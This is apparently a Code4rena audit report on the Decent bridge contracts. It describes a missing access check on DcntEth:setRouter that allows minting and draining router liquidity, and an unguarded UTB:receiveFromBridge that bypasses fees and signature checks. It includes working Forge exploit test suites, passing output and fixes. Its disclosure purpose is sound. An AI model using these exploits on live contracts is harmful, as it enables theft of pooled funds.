Decent - GhK3Ndf's results

Impact

Unauthorized threat actors can abuse the DcntEth:setRouter function's lack of access control to set the contract's router address to an arbitrary address.

This can be abused to bypass the contract's onlyRouter modifier and use the DcntEth:mint and DcntEth:burn functions to mint or burn arbitrary DcntEth to/from any account. By minting to themselves an amount of DcntEth equal to the corresponding DecentEthRouter contract's WETH/ETH balance, the attacker then may redeem the minted DcntEth for the entirety (minus one Wei) of the DecentEthRouter WETH/ETH balance via DecentEthRouter:redeemEth or DecentEthRouter:redeemWeth, draining the DecentEthRouter contracts of their WETH/ETH liquidity. It would also be possible to burn DcntEth from arbitrary addresses, preventing them from redeeming their ETH/WETH.

Root Cause

Missing access control in DcntEth:setRouter

DcntEth:setRouter is missing an access control modifier, likely intended to be onlyOwner:

DcntEth:setRouter

//File:lib/decent-bridge/src/DcntEth.sol

contract DcntEth is OFTV2 {
    address public router;

    modifier onlyRouter() {
        require(msg.sender == router);
        _;
    }

    constructor(
        address _layerZeroEndpoint
    ) OFTV2("Decent Eth", "DcntEth", 18, _layerZeroEndpoint) {}

    /**
     * @param _router the decentEthRouter associated with this eth
     */
    function setRouter(address _router) public { //missing onlyOwner modifier
        router = _router;
    }

    function mint(address _to, uint256 _amount) public onlyRouter {
        _mint(_to, _amount);
    }

    function burn(address _from, uint256 _amount) public onlyRouter {
        _burn(_from, _amount);
    }

    function mintByOwner(address _to, uint256 _amount) public onlyOwner {
        _mint(_to, _amount);
    }

    function burnByOwner(address _from, uint256 _amount) public onlyOwner {
        _burn(_from, _amount);
    }
}

It is then possible to call DecentEthRouter:redeemEth or DecentEthRouter:redeemWeth with minted DcntEth to drain DecentEthRouter of liquidity.

//File:lib/decent-bridge/src/DecentEthRouter.sol

contract DcntEth is OFTV2 {

    ...
 
    modifier onlyIfWeHaveEnoughReserves(uint256 amount) {
        require(weth.balanceOf(address(this)) > amount, "not enough reserves");
        _;
    }

    ...

    /// @inheritdoc IDecentEthRouter
    function redeemEth(
        uint256 amount
    ) public onlyIfWeHaveEnoughReserves(amount) {
        dcntEth.transferFrom(msg.sender, address(this), amount);
        weth.withdraw(amount);
        payable(msg.sender).transfer(amount);
    }

    /// @inheritdoc IDecentEthRouter
    function redeemWeth(
        uint256 amount
    ) public onlyIfWeHaveEnoughReserves(amount) {
        dcntEth.transferFrom(msg.sender, address(this), amount);
        weth.transfer(msg.sender, amount);
    }

    ...
}

Proof of Concept

The following Forge PoC test suite includes the following tests which demonstrates this attack, against a UTB/decent-bridge deployment on the Arbitrum and Polygon chains, deployed via use of the provided helper functions in the repo test suite.

DcntEthSetRouterTest PoC contract:

<details>

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {ERC20} from "solmate/tokens/ERC20.sol";
import {UTB, SwapInstructions, SwapAndExecuteInstructions, FeeStructure} from "../src/UTB.sol";
import {UTBExecutor} from "../src/UTBExecutor.sol";
import {UniSwapper} from "../src/swappers/UniSwapper.sol";
import {SwapParams} from "../src/swappers/SwapParams.sol";
import {XChainExactOutFixture} from "./helpers/XChainExactOutFixture.sol";
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {IDcntEth} from "lib/decent-bridge/src/interfaces/IDcntEth.sol";
import {IDecentEthRouter} from "lib/decent-bridge/src/interfaces/IDecentEthRouter.sol";
import {DcntEth} from "lib/decent-bridge/src/DcntEth.sol";
import {DecentEthRouter} from "lib/decent-bridge/src/DecentEthRouter.sol";
import {IUTB} from "../src/interfaces/IUTB.sol";
import {IUTBExecutor} from "../src/interfaces/IUTBExecutor.sol";
import {IUTBFeeCollector} from "../src/interfaces/IUTBFeeCollector.sol";

import {console2} from "forge-std/Test.sol";

interface IDecentTest {
    //@audit : helper interface to access getters not defined in IDcntEth/IDecentEthRouter
    function dcntEth() external view returns (IDcntEth);
    function owner() external view returns (address);
    function router() external view returns (address);
    function executor() external view returns (IUTBExecutor);
    function feeCollector() external view returns (IUTBFeeCollector);
}

contract DcntEthSetRouterTest is XChainExactOutFixture {

    UTB src_utb;
    UTB dst_utb;
    UniSwapper src_swapper;
    UniSwapper dst_swapper;
    DecentEthRouter src_DecentEthRouter;
    DecentEthRouter dst_DecentEthRouter;
    IDcntEth src_IDcntEth;        
    address src_weth; 
    address src_usdc; 
    uint256 slippage = 1; 
    uint256 FEE_AMOUNT = 0.01 ether; //arbitrary fee amount

    function setUp() public {
        src = arbitrum; 
        dst = polygon;
        preSlippage = 2;
        postSlippage = 3;
        initialEthBalance = 1 ether;
        initialUsdcBalance = 10e6;
        MINT_GAS = 9e5;

        setRuntime(ENV_FORGE_TEST);
        loadAllChainInfo();
        setupUsdcInfo();
        setupWethHelperInfo();
        loadAllUniRouterInfo();
        setSkipFile(true);
        vm.label(alice, "alice");
        vm.label(bob, "bob");
        
        src_weth = getWeth(src);
        src_usdc = getUsdc(src);
        feeAmount = FEE_AMOUNT;
        _setupXChainUTBInfra();
        _srcChainSetup();

        // start all activities in src chain by default
        switchTo(src);
    }

    function _setupXChainUTBInfra() internal {
        (src_utb,,src_swapper,src_DecentEthRouter,,) = deployUTBAndItsComponents(src);
        (dst_utb,,dst_swapper,dst_DecentEthRouter,,) = deployUTBAndItsComponents(dst);
        wireUpXChainUTB(src, dst);
    }

    function _srcChainSetup() internal {
        dealTo(src, alice, initialEthBalance);
        mintUsdcTo(src, alice, initialUsdcBalance);
        mintWethTo(src, alice, initialEthBalance);
        dealTo(src, bob, initialEthBalance);
        cat = deployTheCat(src);
        catUsdcPrice = cat.price();
        catEthPrice = cat.ethPrice();
    }

    function _setupAndGetInstructionsFeesSignature() internal returns(
        SwapAndExecuteInstructions memory,
        FeeStructure memory,
        bytes memory){
        
        (SwapParams memory swapParams,) = getSwapParamsExactOut(
            src,
            src_weth,
            src_usdc,
            catUsdcPrice,
            slippage
        );

        address payable refund = payable(alice);

        SwapInstructions memory swapInstructions = SwapInstructions({
            swapperId: src_swapper.getId(),
            swapPayload: abi.encode(swapParams, address(src_utb), refund)
        });

        startImpersonating(alice);
        ERC20(src_weth).approve(address(src_utb), swapParams.amountIn);

        SwapAndExecuteInstructions
            memory instructions = SwapAndExecuteInstructions({
                swapInstructions: swapInstructions,
                target: address(cat),
                paymentOperator: address(cat),
                refund: refund,
                payload: abi.encodeCall(cat.mintWithUsdc, (bob))
            });

        (   bytes memory signature,
            FeeStructure memory fees
        ) = getFeesAndSignature(instructions); //feeToken and feeAmount are 0
        stopImpersonating();
        return (instructions, fees, signature);
    }

    // testing a normal inter-chain swap+mint operation with fees
    function testDcntEthSetRouter_NormalSwapWithFees() public {
        (SwapAndExecuteInstructions memory _instructions,
        FeeStructure memory _fees,
        bytes memory _signature) = _setupAndGetInstructionsFeesSignature();

        startImpersonating(alice);
        uint256 aliceETHBalanceBefore = address(alice).balance;

        src_utb.swapAndExecute{value: feeAmount}(_instructions, _fees, _signature);

        stopImpersonating();
        // confirm alice has spent feeAmount
        assertEq(address(alice).balance, aliceETHBalanceBefore - feeAmount);
        // confirm bob got the NFT
        assertEq(cat.balanceOf(bob), 1);
        assertEq(ERC20(src_usdc).balanceOf(address(cat)), cat.price());

        // checking fees
        address feeCollector = address(feeCollectorLookup[src]);
        if (feeToken == address(0)) {
            // expect src feeCollector balance to be the feeAmount
            assertEq(feeCollector.balance, feeAmount);
        } else {
            assertEq(ERC20(feeToken).balanceOf(feeCollector), feeAmount);
        }
    }

    /*
    @audit : Missing access control on DcntEth:setRouter allows arbitrary minting/burning of DcntEth, allowing for DecentEthRouter liquidity to be drained.

    1. set DcntEth router to attacker addr
    2. mint as much DcntEth as there is WETH or ETH in the DecentEthRouter
    3. redeem the WETH or ETH 
    */
    function testDcntEthSetRouter_Exploit() public {
        // Use addLiquidityEth/addLiquidityWeth to simulate DecentEthRouter having liquidity.
        src_DecentEthRouter.addLiquidityEth{value : 10 ether}();
        src_IDcntEth = src_DecentEthRouter.dcntEth();

        uint256 src_DcntEthRouterInitialDcntEthBalance = src_IDcntEth.balanceOf(address(src_DecentEthRouter));
        uint256 src_DcntEthRouterInitialWethBalance = IERC20(src_weth).balanceOf(address(src_DecentEthRouter));
        uint256 aliceDcntEthBalanceBefore = src_IDcntEth.balanceOf(address(alice));
        uint256 aliceInitalETHBalance = address(alice).balance;

        assertEq(aliceDcntEthBalanceBefore, 0);
        // confirm DcntEth token router address is DecentEthRouter
        assertEq(IDecentTest(address(src_IDcntEth)).router(), address(src_DecentEthRouter));
        startImpersonating(alice);
        // expect revert when trying to mint before calling setRouter
        vm.expectRevert();
        src_IDcntEth.mint(alice,src_DcntEthRouterInitialDcntEthBalance );
        src_IDcntEth.setRouter(alice);
        // confirm the router is now alice's address
        assertEq(IDecentTest(address(src_IDcntEth)).router(), address(alice));
        // alice can now mint arbitrary DcntEth
        src_IDcntEth.mint(alice,src_DcntEthRouterInitialDcntEthBalance );
        assertEq(src_IDcntEth.balanceOf(address(alice)), aliceDcntEthBalanceBefore + src_DcntEthRouterInitialDcntEthBalance);
        // alice sets router back
        src_IDcntEth.setRouter(address(src_DecentEthRouter));
        // alice approves DcntEth to move alice's DcntEth and redeem ETH from dst_DecentEthRouter
        src_IDcntEth.approve(address(src_DecentEthRouter), UINT256_MAX);
        src_DecentEthRouter.redeemEth(IERC20(src_weth).balanceOf(address(src_DecentEthRouter)) -1);
        // confirm DecentEthRouter has the newly minted DcntEth
        assertEq(src_IDcntEth.balanceOf(address(src_DecentEthRouter)), src_DcntEthRouterInitialDcntEthBalance + src_DcntEthRouterInitialWethBalance -1);
        // confirm DecentEthRouter has 1 wrapped Wei left
        assertEq(IERC20(src_weth).balanceOf(address(src_DecentEthRouter)), src_DcntEthRouterInitialWethBalance -(src_DcntEthRouterInitialWethBalance -1));
        // confirm alice now has her initial balance + initial DecentEthRouter initial WETH balance - 1 Wei
        assertEq(address(alice).balance, aliceInitalETHBalance + src_DcntEthRouterInitialWethBalance -1);
        stopImpersonating();
    }
}

</details>

Tests:

• testDcntEthSetRouter_NormalSwapWithFees: A test function to ensure normal swaps with fees are working as intended.
• testDcntEthSetRouter_Exploit: Demonstrates the attack where Alice (attacker) is able to mint herself an arbitrary number of DcntEth tokens before redeeming them for the DecentEthRouter's WETH balance.

PoC instructions:

• Clone and set up the audit repo repo and .env file as noted in Tests
• Add the Forge test suite, DcntEthSetRouterTest.t.sol, to the repo's /test directory.
• Run the following command to validate all tests:

❯ forge test --match-test testDcntEthSetRouter_
[⠒] Compiling...No files changed, compilation skipped
[⠢] Compiling...

Running 2 tests for test/DcntEthSetRouter.t.sol:DcntEthSetRouterTest
[PASS] testDcntEthSetRouter_Exploit() (gas: 205861)
[PASS] testDcntEthSetRouter_NormalSwapWithFees() (gas: 696970)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 24.56s
 
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

Implement a robust access control modifier on the DcntEth:setRouter function

Access control via an should be implemented on the DcntEth:setRouter function in the same way as is present in the repo's UniSwapper:setRouter function. The modifier may be sourced from the Solmate Owned library as used by other functions in DcntEth.

    //File:lib/decent-bridge/src/DcntEth.sol
    ...

    function setRouter(address _router) public onlyOwner {
        uniswap_router = _router;
    }

    ...

Lines of code

https://github.com/code-423n4/2024-01-decent/blob/011f62059f3a0b1f3577c8ccd1140f0cf3e7bb29/src/UTB.sol#L311

Vulnerability details

Impact

Users can abuse the public UTB:receiveFromBridge function's lack of access control to directly call the internal UTB:_swapAndExecute function.

This bypasses the UTB:retrieveAndCollectFees modifier, which is used to collect fees from UTB users and validate fee and swap instructions via UTBFeeCollector:collectFees in all other public swap/bridge functions (namely UTB:swapAndExecute and UTB:bridgeAndExecute).

This allows users to execute inter-chain swaps without spending bridge fees, using instructions that have not been signed by a validator key. Unsigned additional payloads can also be included in the swap instruction's payload element, which would then be executed by the UTBExecutor:execute function.

Root Cause

Missing access control in UTB:receiveFromBridge

UTB:receiveFromBridge is likely missing an access control modifier.

Note that the missing modifier may not be the [UTB:retrieveAndCollectFees] modifier, as this modifier is understood to be intended for checking the UTB swap/bridge instructions on the source chain. Refer to the remedial suggestions for an alternate means of access control.

UTB:receiveFromBridge

//File:src/UTB.sol

contract UTB is Owned {

    ...

    function receiveFromBridge(
        SwapInstructions memory postBridge,
        address target,
        address paymentOperator,
        bytes memory payload,
        address payable refund
    ) public { // missing retrieveAndCollect modifier
        _swapAndExecute(postBridge, target, paymentOperator, payload, refund);
    }

    ...

    // if a feeCollector has been set, then this modifier validates the fee struct against the signer:

    modifier retrieveAndCollectFees(
        FeeStructure calldata fees,
        bytes memory packedInfo,
        bytes calldata signature
    ) {
        if (address(feeCollector) != address(0)) {
            uint value = 0;
            if (fees.feeToken != address(0)) {
                IERC20(fees.feeToken).transferFrom(
                    msg.sender,
                    address(this),
                    fees.feeAmount
                );
                IERC20(fees.feeToken).approve(
                    address(feeCollector),
                    fees.feeAmount
                );
            } else {
                value = fees.feeAmount;
            }
            feeCollector.collectFees{value: value}(fees, packedInfo, signature);
        }
        _;
    }

    ...
    
    // swapAndExecute/bridgeAndExecute functions both validate fees/instructions signatures via retrieveAndCollectFees modifier

    function swapAndExecute(
        SwapAndExecuteInstructions calldata instructions,
        FeeStructure calldata fees,
        bytes calldata signature
    )
        public
        payable
        retrieveAndCollectFees(fees, abi.encode(instructions, fees), signature)
    {
        _swapAndExecute(
            instructions.swapInstructions,
            instructions.target,
            instructions.paymentOperator,
            instructions.payload,
            instructions.refund
        );
    }

    function bridgeAndExecute(
        BridgeInstructions calldata instructions,
        FeeStructure calldata fees,
        bytes calldata signature
    )
        public
        payable
        retrieveAndCollectFees(fees, abi.encode(instructions, fees), signature)
        returns (bytes memory)
    {
        (
            uint256 amt2Bridge,
            BridgeInstructions memory updatedInstructions
        ) = swapAndModifyPostBridge(instructions);
        return callBridge(amt2Bridge, fees.bridgeFee, updatedInstructions);
    }

    ...

    // _swapAndExecute directly bypasses any signature/fee checks before the swap/payload is executed.

    function _swapAndExecute(
        SwapInstructions memory swapInstructions,
        address target,
        address paymentOperator,
        bytes memory payload,
        address payable refund
    ) private {
        (address tokenOut, uint256 amountOut) = performSwap(swapInstructions);
        if (tokenOut == address(0)) {
            executor.execute{value: amountOut}(
                target,
                paymentOperator,
                payload,
                tokenOut,
                amountOut,
                refund
            );
        } else {
            IERC20(tokenOut).approve(address(executor), amountOut);
            executor.execute(
                target,
                paymentOperator,
                payload,
                tokenOut,
                amountOut,
                refund
            );
        }
    }

}

UTBFeeCollector:collectFees

//File:src/UTBFeeCollector.sol

    function collectFees(
        FeeStructure calldata fees,
        bytes memory packedInfo,
        bytes memory signature
    ) public payable onlyUtb {
        bytes32 constructedHash = keccak256(
            abi.encodePacked(BANNER, keccak256(packedInfo))
        );
        (bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);
        address recovered = ecrecover(constructedHash, v, r, s);
        require(recovered == signer, "Wrong signature");
        if (fees.feeToken != address(0)) {
            IERC20(fees.feeToken).transferFrom(
                utb,
                address(this),
                fees.feeAmount
            );
        }
    }

UTBExecutor:execute

//File:src/UTBExecutor.sol:

contract UTBExecutor is Owned {
   
    ...

    function execute(
        address target,
        address paymentOperator,
        bytes memory payload,
        address token,
        uint amount,
        address payable refund
    ) public payable onlyOwner {
        return
            execute(target, paymentOperator, payload, token, amount, refund, 0);
    }

    ...

    function execute(
        address target,
        address paymentOperator,
        bytes memory payload,
        address token,
        uint amount,
        address payable refund,
        uint extraNative
    ) public onlyOwner {
        bool success;
        if (token == address(0)) {
            (success, ) = target.call{value: amount}(payload);
            if (!success) {
                (refund.call{value: amount}(""));
            }
            return;
        }

        uint initBalance = IERC20(token).balanceOf(address(this));

        IERC20(token).transferFrom(msg.sender, address(this), amount);
        IERC20(token).approve(paymentOperator, amount);

        if (extraNative > 0) {
            (success, ) = target.call{value: extraNative}(payload);
            if (!success) {
                (refund.call{value: extraNative}(""));
            }
        } else {
            (success, ) = target.call(payload);
        }

        uint remainingBalance = IERC20(token).balanceOf(address(this)) -
            initBalance;

        if (remainingBalance == 0) {
            return;
        }

        IERC20(token).transfer(refund, remainingBalance);
    }
}

Proof of Concept

The following Forge PoC test suite includes the following tests which demonstrates this issue, against a UTB/decent-bridge deployment on the Arbitrum and Polygon network chains, deployed via the provided helper functions in the repo test suite.

UTBReceiveFromBridge Forge test contract:

<details>

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {ERC20} from "solmate/tokens/ERC20.sol";
import {UTB, SwapInstructions, SwapAndExecuteInstructions, FeeStructure} from "../src/UTB.sol";
import {UTBExecutor} from "../src/UTBExecutor.sol";
import {UniSwapper} from "../src/swappers/UniSwapper.sol";
import {SwapParams} from "../src/swappers/SwapParams.sol";
import {XChainExactOutFixture} from "./helpers/XChainExactOutFixture.sol";
import {UTBCommonAssertions} from "../test/helpers/UTBCommonAssertions.sol";
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {IDcntEth} from "lib/decent-bridge/src/interfaces/IDcntEth.sol";
import {IDecentBridgeExecutor} from "lib/decent-bridge/src/interfaces/IDecentBridgeExecutor.sol";
import {IDecentEthRouter} from "lib/decent-bridge/src/interfaces/IDecentEthRouter.sol";
import {DcntEth} from "lib/decent-bridge/src/DcntEth.sol";
import {DecentBridgeExecutor} from "lib/decent-bridge/src/DecentBridgeExecutor.sol";
import {DecentEthRouter} from "lib/decent-bridge/src/DecentEthRouter.sol";
import {IUTB} from "../src/interfaces/IUTB.sol";
import {IUTBExecutor} from "../src/interfaces/IUTBExecutor.sol";
import {IUTBFeeCollector} from "../src/interfaces/IUTBFeeCollector.sol";
import {LzChainSetup} from "lib/forge-toolkit/src/LzChainSetup.sol";
import {console2} from "forge-std/Test.sol";
import {VmSafe} from "forge-std/Vm.sol";

contract UTBReceiveFromBridge is XChainExactOutFixture {

    UTB src_utb;
    UTB dst_utb;
    UniSwapper src_swapper;
    UniSwapper dst_swapper;
    DecentEthRouter src_DecentEthRouter;
    DecentEthRouter dst_DecentEthRouter;
    IDcntEth src_IDcntEth;
    address src_weth; 
    address src_usdc; 
    address dst_weth;
    address dst_usdc;
    uint256 slippage = 1;
    uint256 FEE_AMOUNT = 0.01 ether;
    CalledPOC ap;

    function setUp() public {
        src = arbitrum;
        dst = polygon;
        preSlippage = 2;
        postSlippage = 3;
        initialEthBalance = 1 ether;
        initialUsdcBalance = 10e6;
        MINT_GAS = 9e5;
        setRuntime(ENV_FORGE_TEST);
        loadAllChainInfo();
        setupUsdcInfo();
        setupWethHelperInfo();
        loadAllUniRouterInfo();
        setSkipFile(true);
        vm.label(alice, "alice");
        vm.label(bob, "bob");
        src_weth = getWeth(src);
        src_usdc = getUsdc(src);
        dst_weth = getWeth(dst);
        dst_usdc = getUsdc(dst);
        feeAmount = FEE_AMOUNT;
        _setupXChainUTBInfra();
        _srcChainSetup();
        // start all activities in src chain by default
        switchTo(src);
        ap = new CalledPOC();
    }

    function _setupXChainUTBInfra() internal {
        (src_utb,,src_swapper,src_DecentEthRouter,,) = deployUTBAndItsComponents(src);
        (dst_utb,,dst_swapper,dst_DecentEthRouter,,) = deployUTBAndItsComponents(dst);
        wireUpXChainUTB(src, dst);
    }

    function _srcChainSetup() internal {
        dealTo(src, alice, initialEthBalance);
        mintUsdcTo(src, alice, initialUsdcBalance);
        mintWethTo(src, alice, initialEthBalance);
        cat = deployTheCat(src);
        catUsdcPrice = cat.price();
        catEthPrice = cat.ethPrice();
    }

    function _setupAndGetInstructionsFeesSignature() internal returns(
        SwapAndExecuteInstructions memory,
        FeeStructure memory,
        bytes memory){
        (SwapParams memory swapParams, uint expected) = getSwapParamsExactOut(
            src,
            src_weth,
            src_usdc,
            catUsdcPrice,
            slippage
        );
        address payable refund = payable(alice);
        SwapInstructions memory swapInstructions = SwapInstructions({
            swapperId: src_swapper.getId(),
            swapPayload: abi.encode(swapParams, address(src_utb), refund)
        });
        startImpersonating(alice);
        ERC20(src_weth).approve(address(src_utb), swapParams.amountIn);
        SwapAndExecuteInstructions
            memory instructions = SwapAndExecuteInstructions({
                swapInstructions: swapInstructions,
                target: address(cat),
                paymentOperator: address(cat),
                refund: refund,
                payload: abi.encodeCall(cat.mintWithUsdc, (bob))
            });

        (   bytes memory signature,
            FeeStructure memory fees
        ) = getFeesAndSignature(instructions);
        stopImpersonating();
        return (instructions, fees, signature);
    }

    /*
    Testing correct UTB fee collection/signature validation during normal swap. 
    Adapted from UTBExactOutRoutesTest:testSwapWethToUsdcAndMintAnNft
    */
    function testUTBReceiveFromBridge_SwapWethToUsdcAndMintAnNFTWithFees() public {
        (SwapAndExecuteInstructions memory _instructions,
        FeeStructure memory _fees,
        bytes memory _signature) = _setupAndGetInstructionsFeesSignature();
        startImpersonating(alice);
        uint256 aliceETHBalanceBefore = address(alice).balance;
        src_utb.swapAndExecute{value: feeAmount}(_instructions, _fees, _signature);
        stopImpersonating();
        // confirm alice has spent feeAmount
        assertEq(address(alice).balance, aliceETHBalanceBefore - feeAmount);
        // confirm bob got the NFT
        assertEq(cat.balanceOf(bob), 1);
        assertEq(ERC20(src_usdc).balanceOf(address(cat)), cat.price());
        // checking fees
        address feeCollector = address(feeCollectorLookup[src]);
        if (feeToken == address(0)) {
            // expect src feeCollector balance to be the feeAmount
            assertEq(feeCollector.balance, feeAmount);
        } else {
            assertEq(ERC20(feeToken).balanceOf(feeCollector), feeAmount);
        }
    }

    /*
    Missing access control on UTB:receiveFromBridge allows UTB swaps to be executed while bypassing fee/swap instruction signature verification. 
    */
    function testUTBReceiveFromBridge_BypassFeesAndSignature() public {
        /* getting the SwapAndExecuteInstructions struct for 
        swapping WETH to USDC and minting bob a VeryCoolCat NFT.
        FeeStructure and signature are not necessary this time.
        */
        (SwapAndExecuteInstructions memory _instructions,,) = _setupAndGetInstructionsFeesSignature();
        // checking feeCollector to see if it has receievd any fees
        address feeCollector = address(feeCollectorLookup[src]);
        uint256 aliceETHBalanceBefore = address(alice).balance;
        uint256 feeCollectorETHBalanceBefore = address(feeCollector).balance;
         startImpersonating(alice);
        /* use UTB:receiveFromBridge to directly call UTB:_swapAndExecute,
         bypassing UTB:retrieveAndCollectFees modifier to send tx without fees or signature
         with arbitrary additional payload.*/
        src_utb.receiveFromBridge(
            _instructions.swapInstructions,
            _instructions.target,
            _instructions.paymentOperator,
            _instructions.payload,
            _instructions.refund);
        stopImpersonating();
        // confirm alice has not spent any ETH/fees
        assertEq(address(alice).balance, aliceETHBalanceBefore);
        // confirm bob got the NFT
        assertEq(cat.balanceOf(bob), 1);
        assertEq(ERC20(src_usdc).balanceOf(address(cat)), cat.price());
        if (feeToken == address(0)) {
            // expect src feeCollector ETH balance not to change. In this case, it is 0
            assertEq(feeCollector.balance, feeCollectorETHBalanceBefore); 
            assertEq(feeCollector.balance, 0); 
        } else {
            assertEq(ERC20(feeToken).balanceOf(feeCollector), 0);
        }
    }

    /* Showing arbitrary calldata being executed in SwapAndExecuteInstructions.payload 
    by using UTB:receiveFromBridge to send an unsigned swap for 0 amount with no fees*/
    function testUTBReceiveFromBridge_ArbitraryCalldata() public {
        // arg: SwapInstructions memory postBridge
        (SwapParams memory swapParams, uint expected) = getSwapParamsExactOut(
            src, // string memory chain
            src_weth, // address tokenIn/tokenOut can be the same.
            src_weth, // address tokenOut
            0, // uitn256 amountOut can be zero
            slippage // uint256 slippage
        );
        // arg: address payable refund
        address payable refund = payable(alice); 
        // get SwapInstructions for SwapAndExecuteInstructions
        SwapInstructions memory swapInstructions = SwapInstructions({
            swapperId: src_swapper.getId(),
            swapPayload: abi.encode(swapParams, address(src_utb), refund)
        });
        startImpersonating(alice);
        //get SwapAndExecuteInstructions
        SwapAndExecuteInstructions
        memory _instructions = SwapAndExecuteInstructions({
            swapInstructions: swapInstructions,
            target:address(ap), // will be sending funds to alice on DST
            paymentOperator: address(alice), // address UTBExecutor approves
            refund: payable(address(alice)),
            // make arbitrary call
            payload: abi.encodeCall(ap.called, ())
        });
        // start recording for events
        vm.recordLogs();
        /* use UTB:receiveFromBridge to directly call UTB:_swapAndExecute,
        bypassing UTB:retrieveAndCollectFees modifier to send tx without fees or signature
        with arbitrary additional payload.*/
        src_utb.receiveFromBridge(
            _instructions.swapInstructions,
            _instructions.target,
            _instructions.paymentOperator,
            _instructions.payload,
            _instructions.refund);
        stopImpersonating();
        // capture emitted events
        VmSafe.Log[] memory entries = vm.getRecordedLogs();
        for (uint i = 0; i < entries.length; i++) {
        if (entries[i].topics[0] == keccak256("Called(string)")) {
            // assert that the event data contains the POC contract's string.
            assertEq(abi.decode(entries[i].data, (string)), 
            "POC contract called");
            }   
        }
    }
}

// simple test contract to register an event if called() is called.
contract CalledPOC {

    event Called(string);

    constructor() payable {}
    function called() public payable {
        emit Called("POC contract called");
    }

    receive() external payable {}

    fallback() external payable {}
}

</details>

Tests:

• testUTBReceiveFromBridge_SwapWethToUsdcAndMintAnNFTWithFee: A benign test function to ensure normal swaps with fees are working as intended, where Alice executes a signed inter-chain swap between WETH and USDC before minting a VeryCoolCat test NFT to Bob. Adapted from the UTBExactOutRoutesTest:testSwapWethToUsdcAndMintAnNft test.
• testUTBReceiveFromBridge_BypassFeesAndSignature: Demonstrating the issue by using the same swap with fee payload used in the testUTBReceiveFromBridge_SwapWethToUsdcAndMintAnNFTWithFee test, sent through the UTB:receiveFromBridge function.
• testUTBReceiveFromBridge_ArbitraryCalldata: Demonstrating the issue by causing arbitrary unsigned calldata to be executed via the UTB:receiveFromBridge function. Note that a swap between the same WETH token, for amount 0, was used as the swap instructions for this test for clarity.

PoC instructions:

• Clone and set up the audit repo repo and .env file as noted in Tests
• Add the Forge test suite file, UTBReceiveFromBridge.t.sol, to the repo's /test directory.
• Run the following command to validate all tests:

❯ forge test --match-test testUTBReceiveFromBridge_
[⠒] Compiling...No files changed, compilation skipped
[⠢] Compiling...

Running 3 tests for test/UTBReceiveFromBridge.t.sol:UTBReceiveFromBridge
[PASS] testUTBReceiveFromBridge_ArbitraryCalldata() (gas: 169476)
[PASS] testUTBReceiveFromBridge_BypassFeesAndSignature() (gas: 678548)
[PASS] testUTBReceiveFromBridge_SwapWethToUsdcAndMintAnNFTWithFees() (gas: 703800)
Test result: ok. 3 passed; 0 failed; 0 skipped; finished in 24.86s
 
Ran 1 test suites: 3 tests passed, 0 failed, 0 skipped (3 total tests)

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

Primary Recommendation: Implement a robust access control modifier on the UTB:receiveFromBridge function to restrict access to known bridge adaptor addresses

The UTB:receiveFromBridge function appears to be intended to be called by the DecentBridgeAdapter:receiveFromBridge and StargateBridgeAdapter:sgReceive functions. These functions are protected by the BaseAdapter:onlyExecutor modifier. No other calls to [UTB:receiveFromBridge] are made in the audit codebase.

It therefore may be suitable to introduce a similar onlyBridgeAdapter modifier to UTB, using the already present UTB:bridgeAdapters mapping to filter calls from only allowlisted bridge adaptors:

    //File:src/UTB.sol
    ...

    modifier onlyBridgeAdapter(){
        require(bridgeAdapters[IBridgeAdapter(msg.sender).getId()] != address(0), "invalid bridge adaptor");
        _;
    }

    function receiveFromBridge(
        SwapInstructions memory postBridge,
        address target,
        address paymentOperator,
        bytes memory payload,
        address payable refund
    ) public onlyBridgeAdapter() {
        _swapAndExecute(postBridge, target, paymentOperator, payload, refund);
    }
    ...

Best practices: Review off-chain validator signature generation and update UTBFeeCollector:collectFees to allow for on-chain validation of signatures if UTB:feeCollector has not been set.

Note that in the receiveFromBridge modifier, fee and swap instructions are only validated if a feeCollector is set in UTB.

UTB:retrieveAndCollectFees

//File:src/UTB.col

    modifier retrieveAndCollectFees(
        FeeStructure calldata fees,
        bytes memory packedInfo,
        bytes calldata signature
    ) {
        if (address(feeCollector) != address(0)) { 
            
            // if feeCollector has not been set, then signature verifcation does not occur

            ...

            feeCollector.collectFees{value: value}(fees, packedInfo, signature);
        }
        _;
    }

UTBFeeCollector:collectFees

//File:src/UTBFeeCollector.sol

    function collectFees(
        FeeStructure calldata fees,
        bytes memory packedInfo,
        bytes memory signature
    ) public payable onlyUtb {
        bytes32 constructedHash = keccak256(
            abi.encodePacked(BANNER, keccak256(packedInfo))
        );
        (bytes32 r, bytes32 s, uint8 v) = splitSignature(signature); // validating both fees and swap instructions with signature from signer
        address recovered = ecrecover(constructedHash, v, r, s);
        require(recovered == signer, "Wrong signature");

        ...
    }

It is not known whether this is an intended design choice, possibly stemming from the way any off-chain swap/bridge/fee instruction validator APIs generate signatures and the fact that one signature is expected for both fee content and swap/bridge instructions.

However, if swaps/bridge operations are intended to ever be called without incurring a fee via UTBFeeCollector, it is recommended for off-chain APIs to generate swap/bridge operation signatures with a fee amount of 0 in the case where fees are not intended to be collected for signed swap/bridge operations.

This would allow the feecollector.collectFees line in UTB to be placed outside of the if check on the feeCollector address.

Alternatively, it is recommended to separate signature verification of fee and swap/bridge instructions in both the API and the UTBFeeCollector contract, to allow their associated signatures to be validated independently.

This would ensure that signed swap/bridge instructions can be verified before execution, in the event that a UTBFeeCollector contract is not set for a particular chain/UTB deployment.

Assessed type

Access Control